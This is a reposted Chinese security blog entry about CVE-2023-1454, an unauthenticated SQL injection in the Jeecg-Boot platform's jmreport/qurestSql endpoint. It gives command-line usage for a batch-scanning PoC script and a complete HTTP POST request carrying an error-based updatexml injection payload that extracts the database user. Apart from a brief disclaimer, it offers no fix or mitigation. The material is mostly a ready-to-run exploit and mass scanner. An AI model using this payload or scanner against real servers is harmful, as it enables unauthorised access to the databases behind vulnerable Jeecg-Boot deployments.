Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)

admin 2023年6月22日04:09:27评论40 views字数 1100阅读3分40秒阅读模式

===================================

免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

0x01 工具介绍

jmreport/qurestSql 未授权SQL注入批量扫描poc Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot-Plus的快速开发平台,最新的jeecg-boot 3.5.0 中被爆出多个SQL注入漏洞。

0x02 安装与使用

1、常用命令
usage: CVE-2023-1454.py [-h] [-u URL] [-f FILE] [-t THREAD] [-T TIMEOUT] [-o OUTPUT] [-p PROXY]
optional arguments:  -h, --help            show this help message and exit  -u URL, --url URL     Target url(e.g. url.txt)  -f FILE, --file FILE  Target file(e.g. url.txt)  -t THREAD, --thread THREAD                        Number of thread (default 5)  -T TIMEOUT, --timeout TIMEOUT                        Request timeout (default 3)  -o OUTPUT, --output OUTPUT                        Vuln url output file (e.g. result.txt)  -p PROXY, --proxy PROXY                        Request Proxy (e.g http://127.0.0.1:8080)

Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)

2、POC

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Content-Type: application/json;charset=UTF-8Content-Length: 128
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)

原文始发于微信公众号(网络安全者):Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月22日04:09:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)https://cn-sec.com/archives/1826749.html

发表评论

匿名网友 填写信息